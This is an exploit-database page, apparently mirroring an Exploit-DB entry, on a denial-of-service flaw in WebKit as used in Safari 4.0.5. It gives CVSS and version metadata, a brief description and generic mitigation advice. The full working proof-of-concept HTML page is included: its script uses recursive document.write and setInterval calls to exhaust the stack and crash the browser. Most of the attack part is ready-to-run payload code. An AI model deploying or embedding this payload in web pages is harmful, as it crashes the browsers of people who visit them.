header-logo
Suggest Exploit
vendor:
Safari
by:
Mattias Karlsson
7,5
CVSS
HIGH
DoS
119
CWE
Product Name: Safari
Affected Version From: Safari 4.0.5
Affected Version To: Safari 4.0.5
Patch Exists: YES
Related CWE: N/A
CPE: a:apple:safari
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows 7
2009

Webkit (Safari) Stack Exhaustion DoS

This exploit is a Denial of Service (DoS) vulnerability in Webkit (Safari) which can be triggered by a maliciously crafted web page. The exploit causes a stack exhaustion in the browser, resulting in a crash.

Mitigation:

The user should avoid visiting untrusted websites and should keep their browser and operating system up to date.
Source

Exploit-DB raw data:

<html>
<script>
loop1();
    var a = "<blink>";
function loop1()
{
	document.write(a);
    setInterval(loop2,0);
}
function loop2()
{
	document.write(a);
	setInterval(loop1,0);
}
</script>
<body>
Webkit (Safari) Stack Exhaustion DoS
Found By:	Dr_IDE
Credit To:	Mattias Karlsson
Reference:	http://www.exploit-db.com/exploits/12401
Tested On:	Windows 7 + Safari 4.0.5
</body>
</html>

Navigation

Suggest Exploit

Services By CQR